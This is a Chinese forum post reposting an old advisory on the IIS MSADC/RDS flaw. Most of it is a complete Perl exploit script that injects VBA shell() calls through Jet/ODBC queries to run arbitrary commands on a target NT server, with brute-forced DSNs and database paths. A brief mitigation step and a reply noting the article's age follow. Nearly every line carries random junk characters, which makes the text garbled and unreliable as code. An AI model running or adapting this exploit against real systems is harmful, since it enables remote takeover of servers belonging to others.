社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167115阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) e\i}@]  
Ya,(J0l  
涉及程序: w'!J   
Microsoft NT server ju;Myi}a  
IHf#P5y_  
描述: / , .rUn1  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 F5f1j]c  
+8V |  
详细: 1 ,4V8gp  
如果你没有时间读详细内容的话,就删除: Ph C{Gg  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 9 kS;_(DB  
有关的安全问题就没有了。 V@1K  
i]n ?zWo_h  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ?anKSGfj  
N`i`[ f  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 7)+%;|~  
关于利用ODBC远程漏洞的描述,请参看: 3` \)Qm  
~qm u?5  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 'O]Ja-  
rlVo}kc7:  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 N&+DhKw  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp &T/}|3S  
vH9Gf  
这里不再论述。 ,4z?9@wQ  
}x}JzA+2  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: mdD9Q N01  
) "To h=x]  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset /2PsC*y  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! * ;C8g{  
zE<GwVI~  
2wG4"  
#将下面这段保存为txt文件,然后: "perl -x 文件名" /Q[M2DN@  
}]?U. ]-  
#!perl C:d$   
# #NLLl EE  
# MSADC/RDS 'usage' (aka exploit) script jo8;S?+<|?  
# *]_GFixi  
# by rain.forest.puppy 4FgY!k  
# `m Tc  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me r=ds'n"  
# beta test and find errors! 7Y(ySW  
L]HYk}oD.  
use Socket; use Getopt::Std; tqo!WuZAj  
getopts("e:vd:h:XR", \%args); HR83{B21  
5Pl~du  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; R]{AJ"p  
NQ(}rr'.  
if (!defined $args{h} && !defined $args{R}) { tcxs%yWO1  
print qq~ S4Vv _k-&  
Usage: msadc.pl -h <host> { -d <delay> -X -v } sZhl.[&zo  
-h <host> = host you want to scan (ip or domain) QWBQ 0#L  
-d <seconds> = delay between calls, default 1 second \aO.LwYm;:  
-X = dump Index Server path table, if available ]xIfgSq  
-v = verbose [#R<Z+c  
-e = external dictionary file for step 5 %L9A6%gr  
(^Kcyag4  
Or a -R will resume a command session D;0xROW8{  
:{v:sK  
~; exit;} 1$Pn;jg:  
9v<Sng  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; -f-2!1&<3h  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 3y Azt*dZ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} (g@e=m7Q  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); pMX#!wb  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} x@]pUA1  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } o= %Fh  
*?+maK{5+  
if (!defined $args{R}){ $ret = &has_msadc; X;ZR"YgT  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} d6.9]V?  
&,Xs=Lv mq  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ^Q?I8,4}  
. "cmd /c "; Vhww-A  
$in=<STDIN>; chomp $in; h,V#V1>Hu  
$command="cmd /c " . $in ; Cu\A[6g,  
o?J>mpC  
if (defined $args{R}) {&load; exit;} ZC1U  
z.[ Ok  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; m dC.M$  
&try_btcustmr; B94mh  
;Db89Nc$  
print "\nStep 2: Trying to make our own DSN..."; uj-q@IKe  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; -hP@L ++D  
khb Gyg%  
print "\nStep 3: Trying known DSNs..."; %L./U$  
&known_dsn; ?~a M<rcZ  
jz$)*Kdi*  
print "\nStep 4: Trying known .mdbs..."; N3nk\)V\E  
&known_mdb; R?Q@)POW  
+*Cg2`  
if (defined $args{e}){ 8<t?o'9I  
print "\nStep 5: Trying dictionary of DSN names..."; <&o `T4  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } .O'gD.|^N  
<)]B$~(a  
print "Sorry Charley...maybe next time?\n"; 0=8.8LnN(  
exit; T] nZ3EZ  
3X{=* wvt  
############################################################################## MQQ!@I`  
[PrR 3 0:  
sub sendraw { # ripped and modded from whisker )^^r\  
sleep($delay); # it's a DoS on the server! At least on mine... 9b !+kJD  
my ($pstr)=@_; {cv,Tz[Q>  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ~}mX#,  
die("Socket problems\n"); ,F J9C3  
if(connect(S,pack "SnA4x8",2,80,$target)){ 2WIbu-"l  
select(S); $|=1; mLO{~ruu  
print $pstr; my @in=<S>; E YUr.#:  
select(STDOUT); close(S); zu}h3n5  
return @in; 3yXF| yV  
} else { die("Can't connect...\n"); }} )*^PMf  
~2~KcgPsq  
############################################################################## fj 19U9R  
_SC>EP8:Z  
sub make_header { # make the HTTP request m \4jiR_o  
my $msadc=<<EOT "_C^Bc  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 mB#`{|1[  
User-Agent: ACTIVEDATA [6 !/  
Host: $ip {61NLF\0H  
Content-Length: $clen +6f5uMKUvs  
Connection: Keep-Alive ''wWw(2O  
r}QW!^F  
ADCClientVersion:01.06 ;=6 ++Oq  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 8@/]ki `>  
"31GC7  
--!ADM!ROX!YOUR!WORLD! }qW%=;!  
Content-Type: application/x-varg `2NL'O:  
Content-Length: $reqlen 8\y%J!b  
gzP(Lf I5  
EOT N`grr{*_  
; $msadc=~s/\n/\r\n/g; g=[ F W@z  
return $msadc;} -2tX 15,  
Eln"RKCt}9  
############################################################################## {:Z#8dGe  
S]1+tj  
sub make_req { # make the RDS request &tQ,2RT  
my ($switch, $p1, $p2)=@_; 'mug,jM  
my $req=""; my $t1, $t2, $query, $dsn; ,I@4)RSAH|  
"^<:7_Y  
if ($switch==1){ # this is the btcustmr.mdb query lV$U!v: b  
$query="Select * from Customers where City=" . make_shell(); 4%p5X8|\ih  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . _?@>S7-  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} vUgLWd  
{TdK S  
elsif ($switch==2){ # this is general make table query 6yTL7@V|B  
$query="create table AZZ (B int, C varchar(10))"; CQ"IL;y  
$dsn="$p1";} GwwxSB&y  
R8\y|p#c  
elsif ($switch==3){ # this is general exploit table query _e8@y{/~Fd  
$query="select * from AZZ where C=" . make_shell(); ?Yg K]IxD  
$dsn="$p1";} 4\2p8__  
KE16BjX@  
elsif ($switch==4){ # attempt to hork file info from index server .^dj B x  
$query="select path from scope()"; QD<^VY6  
$dsn="Provider=MSIDXS;";} Q_6./.GQ  
w_,.  
elsif ($switch==5){ # bad query $1\<>sJH  
$query="select"; \p@,+ -gX  
$dsn="$p1";} ahS*YeS7  
}PyAmh$@  
$t1= make_unicode($query); JeUFCWm  
$t2= make_unicode($dsn); aiw~4ix  
$req = "\x02\x00\x03\x00"; nf /iZ &  
$req.= "\x08\x00" . pack ("S1", length($t1)); %nOBsln  
$req.= "\x00\x00" . $t1 ; HC4ad0Gs+{  
$req.= "\x08\x00" . pack ("S1", length($t2)); >}u?{_s *0  
$req.= "\x00\x00" . $t2 ; ,A =%!p+  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; jfqWcX.X=  
return $req;} XT~JP  
;b cy(Fp,\  
############################################################################## XOgX0cRC4  
+5?hkQCX1^  
sub make_shell { # this makes the shell() statement D}cq_|mmn[  
return "'|shell(\"$command\")|'";} <s+=v!  
+VDl"Hx  
############################################################################## Ej'a G   
1oj7R7  
sub make_unicode { # quick little function to convert to unicode WU#bA|Cf  
my ($in)=@_; my $out; ( rZq0*  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } L\_8}\  
return $out;} pR 1v^m|  
Wz:MPdz3(  
############################################################################## k%NY,(:(  
-hp,O?PM  
sub rdo_success { # checks for RDO return success (this is kludge) IOTHk+w  
my (@in) = @_; my $base=content_start(@in); M29[\@zL  
if($in[$base]=~/multipart\/mixed/){ 1.yw\ZC\  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} _h@7>+vl~  
return 0;} &sJpn* W  
TDtk'=;  
############################################################################## Mk|h ><Q"  
3 {on$\  
sub make_dsn { # this makes a DSN for us evg i\"  
my @drives=("c","d","e","f"); L V33vy  
print "\nMaking DSN: "; pK *-In  
foreach $drive (@drives) { [ "J  
print "$drive: "; ./5|i*ow  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . rI; e!EW  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" G0> 'H1Z  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ?@_3B]Fs  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; a/_sL(F{  
return 0 if $2 eq "404"; # not found/doesn't exist j*W]^uT,  
if($2 eq "200") { @WBy:gV"  
foreach $line (@results) { Ha)w*1&w"  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} |;rjr_I  
} return 0;} $Xz9xzOR  
kc~Z1  
############################################################################## <T  
%tUJ >qYU  
sub verify_exists { k[Uc _=  
my ($page)=@_; Ik;~u8j1e  
my @results=sendraw("GET $page HTTP/1.0\n\n"); QE< 63|  
return $results[0];} i1  SP  
?$-OdABXHK  
############################################################################## u4z]6?,"e  
uZmfvMr3  
sub try_btcustmr { w{2V7*+l  
my @drives=("c","d","e","f"); e *;"$7o9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); mtmBL 2?  
':o.vQdJ  
foreach $dir (@dirs) { j]Rl1~+M  
print "$dir -> "; # fun status so you can see progress KMoRMCT  
foreach $drive (@drives) { tEiN(KA!5  
print "$drive: "; # ditto Q(V c/  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ]jY->NsA]  
$reqlenlen=length( "$reqlen" ); _i}6zxqw  
$clen= 206 + $reqlenlen + $reqlen; l4R:_Z<  
6],5X^*Y  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); NYR^y \u  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} #ye++.7WK  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} [u)^QgP  
-k$rkKHZ(  
############################################################################## H[]j6D  
A "_;.e`  
sub odbc_error { _e~EQ[,  
my (@in)=@_; my $base; *RxbqB-  
my $base = content_start(@in); P>4(+s  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this /Pg66H#RUf  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; <ezvz..g  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 2!]':(8mR  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !WVF{L,/I  
return $in[$base+4].$in[$base+5].$in[$base+6];} q3scz  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; pN*>A^  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . AU-/-h=Mr  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} f*oL8"?u&  
P-^Z7^o-bX  
############################################################################## \zj8| +  
2&$A x  
sub verbose { qMI%=@=  
my ($in)=@_; J# :%| F%  
return if !$verbose; x:sTE u@  
print STDOUT "\n$in\n";} Gt6$@ji4u  
)2bPu[U  
############################################################################## \8_&@uLm  
<bGSr23*  
sub save { '^7Sa  
my ($p1, $p2, $p3, $p4)=@_; }p8a'3@Z  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; RMLs(?e  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; lQ! 6n  
close OUT;} _h@e.BtDs  
!n)2HDYhx,  
############################################################################## )5&w  
@BW~A@8  
sub load { =C<_rBY  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 93o}vy->  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); g%9I+(?t  
@p=<IN>; close(IN); tOp>O oD  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 5^0W\  
$target= inet_aton($ip) || die("inet_aton problems"); 7*@qd&  
print "Resuming to $ip ..."; #G9S[J=xe  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Q3z-v&^E9  
if($p[1]==1) { 7z F29gC  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; K-p1v!IC  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; bS* "C,b~s  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); K[T? --H  
if (rdo_success(@results)){print "Success!\n";} 5;dnxhf  
else { print "failed\n"; verbose(odbc_error(@results));}} l4r09"S|V  
elsif ($p[1]==3){ j>?c]h{-  
if(run_query("$p[3]")){ .D)'ZY  
print "Success!\n";} else { print "failed\n"; }} X<Vko^vlj  
elsif ($p[1]==4){ ]_F%{8|  
if(run_query($drvst . "$p[3]")){ wCn W]<+  
print "Success!\n"; } else { print "failed\n"; }} L F Z  
exit;} +XFF@h&=t  
&IOChQ`8P  
############################################################################## :[\}Hn=  
7CM<"pV  
sub create_table { j6IWdqXe  
my ($in)=@_; Et`z7Q*e  
$reqlen=length( make_req(2,$in,"") ) - 28; ;t"#7\  
$reqlenlen=length( "$reqlen" ); in#g  
$clen= 206 + $reqlenlen + $reqlen; v0= ^Hy m  
my @results=sendraw(make_header() . make_req(2,$in,"")); *PZNZ{|m  
return 1 if rdo_success(@results); ^U:pv0Qz  
my $temp= odbc_error(@results); verbose($temp); ur*1I/v  
return 1 if $temp=~/Table 'AZZ' already exists/; jk 9K>4W  
return 0;} *Pw; ;#\B  
mv<z%y?Oj  
############################################################################## 3Yg/-=U(  
I&R4.;LW  
sub known_dsn { p~+)!Z#  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go s?E7tmaM  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ).-B@&Eu%  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", /-G;#Wm  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ~G5)ya-  
<\2,7K{{+;  
foreach $dSn (@dsns) { ;f0+'W  
print "."; +?nW  
next if (!is_access("DSN=$dSn")); F/&Z1G.  
if(create_table("DSN=$dSn")){ VEo>uR  
print "$dSn successful\n"; ;se-IDN  
if(run_query("DSN=$dSn")){ ']A+wGR&r  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { }&`#  
print "Something's borked. Use verbose next time\n";}}} print "\n";} N`8?bU7a}"  
q=UKL`;C}U  
############################################################################## V0ulIKck  
]rC6fNhQ  
sub is_access { q9icj  
my ($in)=@_; l)=Rj`M  
$reqlen=length( make_req(5,$in,"") ) - 28; jo{GPp}  
$reqlenlen=length( "$reqlen" ); GwW!Q|tVz=  
$clen= 206 + $reqlenlen + $reqlen; im4V6 f;%  
my @results=sendraw(make_header() . make_req(5,$in,"")); waO*CjxE:  
my $temp= odbc_error(@results); Fgt/A#`fz  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); <iJ->$  
return 0;} )k <ON~x  
d!e$BiC  
############################################################################## mi%d([)%<  
|giK]Z  
sub run_query { 4+'yJ9~,B  
my ($in)=@_; HrEZ]iQ@O0  
$reqlen=length( make_req(3,$in,"") ) - 28; m:II<tv  
$reqlenlen=length( "$reqlen" ); @&mv4zz&W  
$clen= 206 + $reqlenlen + $reqlen; OUnt?[U\  
my @results=sendraw(make_header() . make_req(3,$in,"")); y%`^* E&  
return 1 if rdo_success(@results); 6hAeLlU1  
my $temp= odbc_error(@results); verbose($temp); r3_@ L>;  
return 0;} lNls8@  
L ?4c8!Q  
############################################################################## nWmc  
tjuW+5O  
sub known_mdb { mNWmp_c,1  
my @drives=("c","d","e","f","g"); @H1pPr  
my @dirs=("winnt","winnt35","winnt351","win","windows"); l J;wl|9  
my $dir, $drive, $mdb; L7%Dc2{^(  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; =n i&*&  
>umcpkp- h  
# this is sparse, because I don't know of many lmQ!q>N  
my @sysmdbs=( "\\catroot\\icatalog.mdb",   VG q'  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ]^/:Xsk$  
"\\system32\\certmdb.mdb", E/Eny 5  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% >bEH&7+@_'  
2 os&d|  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", I6{}S6  
"\\cfusion\\cfapps\\forums\\forums_.mdb", EX=+TOkAf  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", =p N?h<dc  
"\\cfusion\\cfapps\\security\\realm_.mdb", P[% W[E<  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 86vk"  
"\\cfusion\\database\\cfexamples.mdb", Rfeiv  
"\\cfusion\\database\\cfsnippets.mdb", k "'q   
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", dxUq5`#G,  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", L8T T54fM  
"\\cfusion\\brighttiger\\database\\cleam.mdb", u}qfwVX Z  
"\\cfusion\\database\\smpolicy.mdb", Uk6Y6mU V  
"\\cfusion\\database\cypress.mdb", 91jv=>=DM  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Xe:B*  
"\\website\\cgi-win\\dbsample.mdb", nBWrkVX  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ?U iwr{Q  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" `-qSvjX  
); #these are just 8!4=j  
foreach $drive (@drives) { &CCB;Oi%  
foreach $dir (@dirs){ ?K|PM <A  
foreach $mdb (@sysmdbs) { K>w}(td  
print "."; Ep.,2H  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ %4imlP  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ;)u}`4~L  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ M!;H3*  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; )p(5$AR7  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 1CFrV=d  
* 8kg6v%  
foreach $drive (@drives) { hc`9Y  
foreach $mdb (@mdbs) { -Z4J?b  
print "."; FWq 6e,  
if(create_table($drv . $drive . $dir . $mdb)){ 0r_8/|N#  
print "\n" . $drive . $dir . $mdb . " successful\n"; /^P^K  
if(run_query($drv . $drive . $dir . $mdb)){ ;!Ojb  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; X+?*Tw!\  
} else { print "Something's borked. Use verbose next time\n"; }}}} B#B$w_z  
} J55K+  
A WMR0I  
############################################################################## }sd-X`lZ  
xAjLn*d|N  
sub hork_idx { L!3{ASIN0  
print "\nAttempting to dump Index Server tables...\n"; ^qIp+[/'  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Op~sR^ez  
$reqlen=length( make_req(4,"","") ) - 28; x,5$VLs\+  
$reqlenlen=length( "$reqlen" ); b+[9) B)a?  
$clen= 206 + $reqlenlen + $reqlen; />FrMz8;(  
my @results=sendraw2(make_header() . make_req(4,"","")); V`pTl3  
if (rdo_success(@results)){ kIiId8l  
my $max=@results; my $c; my %d; JUF[Y^C  
for($c=19; $c<$max; $c++){ V%<<Udu<  
$results[$c]=~s/\x00//g; gupB8 .!  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; `$nMTx]Y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; JihI1C  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; iL/(WAB_od  
$d{"$1$2"}="";} >XSe  
foreach $c (keys %d){ print "$c\n"; } \-#~)LB]M  
} else {print "Index server doesn't seem to be installed.\n"; }} ]BO{Q+?d2  
L<1"u.3Z`}  
############################################################################## 9bMM-~  
 !|9$  
sub dsn_dict { 5w@  ;B  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); &Sa<&2W4S  
while(<IN>){ Hm-+1Wx  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; pyT+ba#  
next if (!is_access("DSN=$dSn")); -=Q_E^'  
if(create_table("DSN=$dSn")){ awHfd5nRS  
print "$dSn successful\n"; -,TBUWg  
if(run_query("DSN=$dSn")){ h$f/NSct2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $Y,,e3R3  
print "Something's borked. Use verbose next time\n";}}} v@XQ)95]F  
print "\n"; close(IN);} 5y(irbk7  
k {s#wJA  
############################################################################## ]n _-  
T 2x~fiM  
sub sendraw2 { # ripped and modded from whisker ojs&W]r0Z  
sleep($delay); # it's a DoS on the server! At least on mine... q&<#)#+  
my ($pstr)=@_; /q uf'CV}  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || W ;P1T"*A  
die("Socket problems\n"); yD#w @yG  
if(connect(S,pack "SnA4x8",2,80,$target)){ q[M7)-  
print "Connected. Getting data"; @7u4v%,wB  
open(OUT,">raw.out"); my @in; 0Y)b319B  
select(S); $|=1; print $pstr; jm.pb/  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} .x(&-  
close(OUT); select(STDOUT); close(S); return @in; y z9`1R2c  
} else { die("Can't connect...\n"); }} "*RCV6{  
_8 vxb  
############################################################################## bjm`u3 A  
\#LKsQa  
sub content_start { # this will take in the server headers ,*E%D _  
my (@in)=@_; my $c; 8kW9.   
for ($c=1;$c<500;$c++) { (PsA[>F  
if($in[$c] =~/^\x0d\x0a/){ #7lkj:j4  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 3a!/EP  
else { return $c+1; }}} i#kRVua/  
return -1;} # it should never get here actually 66p_d'U  
D'fP2?3FK  
############################################################################## g#9w5Q  
-fL|e/   
sub funky { J:?t.c~$o  
my (@in)=@_; my $error=odbc_error(@in); ^nbze  
if($error=~/ADO could not find the specified provider/){ s.=)p"pTd  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Kzo{L  
exit;} v 0rX/ mj  
if($error=~/A Handler is required/){ k{c~  
print "\nServer has custom handler filters (they most likely are patched)\n"; }2`S@Rq.WW  
exit;} e&; c^Z  
if($error=~/specified Handler has denied Access/){ rJ\A)O+Mq(  
print "\nServer has custom handler filters (they most likely are patched)\n"; oxO}m7 ULH  
exit;}} Xuh_bW&zF  
*n}9_V%  
############################################################################## xBgf)'W_Z  
g+ 2SB5 2D  
sub has_msadc { D.*JG7;=Z  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); lmH!I )5  
my $base=content_start(@results); 82O`<Ci  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); .8b 4  
return 0;} hXz"}X n  
3qpk Mu3  
######################## !~ -^s  
Vg:P@6s  
ik8e  
解决方案: ;Jx ^  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll X@~sIUXx9  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 t:M>&r:BL  
fcw \`.  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五